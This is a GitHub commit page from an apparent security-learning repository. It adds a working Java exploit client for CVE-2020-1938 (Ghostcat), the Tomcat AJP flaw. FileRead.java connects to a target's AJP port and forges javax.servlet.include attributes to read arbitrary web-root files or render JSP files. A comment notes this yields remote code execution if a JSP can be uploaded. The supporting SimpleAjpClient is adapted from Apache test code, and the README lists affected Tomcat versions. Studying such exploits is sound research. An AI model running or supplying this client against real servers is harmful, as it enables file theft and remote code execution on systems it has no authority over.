Skip to content

Commit 6336bad

Browse files
author
threedr3am
committed
feat:增加tomcat-ajp任意文件和jsp渲染漏洞demo-CVE-2020-1938
1 parent 272d1b4 commit 6336bad

File tree

7 files changed

+473
-1
lines changed

7 files changed

+473
-1
lines changed

README.md

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,4 +32,11 @@ package:com.threedr3am.bug.collections
3232
package:com.threedr3am.bug.security.manager
3333

3434
### rmi
35-
package:com.threedr3am.bug.rmi
35+
package:com.threedr3am.bug.rmi
36+
37+
### tomcat
38+
tomcat相关漏洞
39+
40+
#### ajp-bug
41+
tomcat ajp协议相关漏洞
42+
1. com.threedr3am.bug.tomcat.ajp 任意文件读取和jsp渲染RCE CVE-2020-1938

pom.xml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@
1818
<module>xxe</module>
1919
<module>dubbo</module>
2020
<module>rmi</module>
21+
<module>tomcat</module>
2122
</modules>
2223

2324
<name>learn-java-bug</name>

tomcat/ajp-bug/pom.xml

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<artifactId>tomcat</artifactId>
7+
<groupId>com.xyh</groupId>
8+
<version>1.0-SNAPSHOT</version>
9+
</parent>
10+
<modelVersion>4.0.0</modelVersion>
11+
12+
<artifactId>ajp-bug</artifactId>
13+
14+
15+
</project>
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
package com.threedr3am.bug.tomcat.ajp;
2+
3+
import com.threedr3am.bug.tomcat.ajp.support.SimpleAjpClient;
4+
import com.threedr3am.bug.tomcat.ajp.support.TesterAjpMessage;
5+
import java.io.IOException;
6+
7+
/**
8+
* CVE-2020-1938
9+
*
10+
*
11+
* 该文件包含漏洞影响以下版本:
12+
*
13+
* 7.*分支7.0.100之前版本,建议更新到7.0.100版本;
14+
*
15+
* 8.*分支8.5.51之前版本,建议更新到8.5.51版本;
16+
*
17+
* 9.*分支9.0.31之前版本,建议更新到9.0.31版本
18+
*
19+
*
20+
*
21+
*
22+
* arg[0]:tomcat的ip
23+
* arg[1]:tomcat的port
24+
* arg[2]:file或jsp,file:读取web资源根目录的文件),jsp:渲染web资源根目录的jsp文件)
25+
* arg[3]:/index.jsp(资源路径,根号表示web资源根目录)
26+
*
27+
* @author threedr3am
28+
*/
29+
public class FileRead {
30+
31+
public static void main(String[] args) throws IOException {
32+
// open connection
33+
SimpleAjpClient ac = new SimpleAjpClient();
34+
String host = "localhost";
35+
int port = 8009;
36+
String uri = "/xxxxxxxxxxxxxxxest.xxx";
37+
//todo jsp文件渲染,若可以上传jsp文件,即可RCE
38+
// String uri = "/xxxxxxxxxxxxxxxest.jsp";
39+
String file = "/index.jsp";
40+
if (args.length == 4) {
41+
host = args[0];
42+
port = Integer.parseInt(args[1]);
43+
uri = args[2].equalsIgnoreCase("file") ? uri : "/xxxxxxxxxxxxxxxest.jsp";
44+
file = args[3];
45+
}
46+
ac.connect(host, port);
47+
48+
// create a message that indicates the beginning of the request
49+
TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);
50+
forwardMessage.addAttribute("javax.servlet.include.request_uri", "1");
51+
forwardMessage.addAttribute("javax.servlet.include.path_info", args.length == 3 ? args[2] : "/index.jsp");
52+
forwardMessage.addAttribute("javax.servlet.include.servlet_path", "");
53+
54+
forwardMessage.end();
55+
56+
ac.sendMessage(forwardMessage);
57+
while (true) {
58+
byte[] responseBody = ac.readMessage();
59+
if (responseBody == null || responseBody.length == 0)
60+
break;
61+
System.out.print(new String(responseBody));
62+
}
63+
ac.disconnect();
64+
}
65+
}
Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,193 @@
1+
/*
2+
* Licensed to the Apache Software Foundation (ASF) under one or more
3+
* contributor license agreements. See the NOTICE file distributed with
4+
* this work for additional information regarding copyright ownership.
5+
* The ASF licenses this file to You under the Apache License, Version 2.0
6+
* (the "License"); you may not use this file except in compliance with
7+
* the License. You may obtain a copy of the License at
8+
*
9+
* http://www.apache.org/licenses/LICENSE-2.0
10+
*
11+
* Unless required by applicable law or agreed to in writing, software
12+
* distributed under the License is distributed on an "AS IS" BASIS,
13+
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14+
* See the License for the specific language governing permissions and
15+
* limitations under the License.
16+
*/
17+
package com.threedr3am.bug.tomcat.ajp.support;
18+
19+
import java.io.IOException;
20+
import java.io.InputStream;
21+
import java.net.Socket;
22+
import java.util.Arrays;
23+
import javax.net.SocketFactory;
24+
import org.apache.coyote.ajp.Constants;
25+
26+
/**
27+
* AJP client that is not (yet) a full AJP client implementation as it just
28+
* provides the functionality required for the unit tests. The client uses
29+
* blocking IO throughout.
30+
*/
31+
public class SimpleAjpClient {
32+
33+
private static final int AJP_PACKET_SIZE = 8192;
34+
private static final byte[] AJP_CPING;
35+
36+
static {
37+
TesterAjpMessage ajpCping = new TesterAjpMessage(16);
38+
ajpCping.reset();
39+
ajpCping.appendByte(Constants.JK_AJP13_CPING_REQUEST);
40+
ajpCping.end();
41+
AJP_CPING = new byte[ajpCping.getLen()];
42+
System.arraycopy(ajpCping.getBuffer(), 0, AJP_CPING, 0,
43+
ajpCping.getLen());
44+
}
45+
46+
private String host = "localhost";
47+
private int port = -1;
48+
private Socket socket = null;
49+
50+
public int getPort() {
51+
return port;
52+
}
53+
54+
public void connect(String host, int port) throws IOException {
55+
this.host = host;
56+
this.port = port;
57+
socket = SocketFactory.getDefault().createSocket(host, port);
58+
}
59+
60+
public void disconnect() throws IOException {
61+
socket.close();
62+
socket = null;
63+
}
64+
65+
/**
66+
* Create a message to request the given URL.
67+
*/
68+
public TesterAjpMessage createForwardMessage(String url) {
69+
return createForwardMessage(url, 2);
70+
}
71+
72+
public TesterAjpMessage createForwardMessage(String url, int method) {
73+
74+
TesterAjpMessage message = new TesterAjpMessage(AJP_PACKET_SIZE);
75+
message.reset();
76+
77+
// Set the header bytes
78+
message.getBuffer()[0] = 0x12;
79+
message.getBuffer()[1] = 0x34;
80+
81+
// Code 2 for forward request
82+
message.appendByte(Constants.JK_AJP13_FORWARD_REQUEST);
83+
84+
// HTTP method, GET = 2
85+
message.appendByte(method);
86+
87+
// Protocol
88+
message.appendString("http");
89+
90+
// Request URI
91+
message.appendString(url);
92+
93+
// Remote address
94+
message.appendString("10.0.0.1");
95+
96+
// Remote host
97+
message.appendString("client.dev.local");
98+
99+
// Server name
100+
message.appendString(host);
101+
102+
// Port
103+
message.appendInt(port);
104+
105+
// Is ssl
106+
message.appendByte(0x00);
107+
108+
return message;
109+
}
110+
111+
112+
public TesterAjpMessage createBodyMessage(byte[] data) {
113+
114+
TesterAjpMessage message = new TesterAjpMessage(AJP_PACKET_SIZE);
115+
message.reset();
116+
117+
// Set the header bytes
118+
message.getBuffer()[0] = 0x12;
119+
message.getBuffer()[1] = 0x34;
120+
121+
message.appendBytes(data, 0, data.length);
122+
message.end();
123+
124+
return message;
125+
}
126+
127+
128+
/**
129+
* Sends an TesterAjpMessage to the server and returns the response message.
130+
*/
131+
public void sendMessage(TesterAjpMessage headers)
132+
throws IOException {
133+
sendMessage(headers, null);
134+
}
135+
136+
public void sendMessage(TesterAjpMessage headers,
137+
TesterAjpMessage body) throws IOException {
138+
// Send the headers
139+
socket.getOutputStream().write(
140+
headers.getBuffer(), 0, headers.getLen());
141+
if (body != null) {
142+
// Send the body of present
143+
socket.getOutputStream().write(
144+
body.getBuffer(), 0, body.getLen());
145+
}
146+
}
147+
/**
148+
* Reads a message from the server.
149+
*/
150+
public byte[] readMessage() throws IOException {
151+
152+
InputStream is = socket.getInputStream();
153+
154+
TesterAjpMessage message = new TesterAjpMessage(AJP_PACKET_SIZE);
155+
156+
byte[] buf = message.getBuffer();
157+
int headerLength = message.getHeaderLength();
158+
159+
read(is, buf, 0, headerLength);
160+
161+
int messageLength = message.processHeader(false);
162+
if (messageLength < 0) {
163+
throw new IOException("Invalid AJP message length");
164+
} else if (messageLength == 0) {
165+
return null;
166+
} else {
167+
if (messageLength > buf.length) {
168+
throw new IllegalArgumentException("Message too long [" +
169+
Integer.valueOf(messageLength) +
170+
"] for buffer length [" +
171+
Integer.valueOf(buf.length) + "]");
172+
}
173+
read(is, buf, headerLength, messageLength);
174+
return Arrays.copyOfRange(buf, headerLength, headerLength + messageLength);
175+
}
176+
}
177+
178+
protected boolean read(InputStream is, byte[] buf, int pos, int n)
179+
throws IOException {
180+
181+
int read = 0;
182+
int res = 0;
183+
while (read < n) {
184+
res = is.read(buf, read + pos, n - read);
185+
if (res > 0) {
186+
read += res;
187+
} else {
188+
throw new IOException("Read failed");
189+
}
190+
}
191+
return true;
192+
}
193+
}

0 commit comments

Comments
 (0)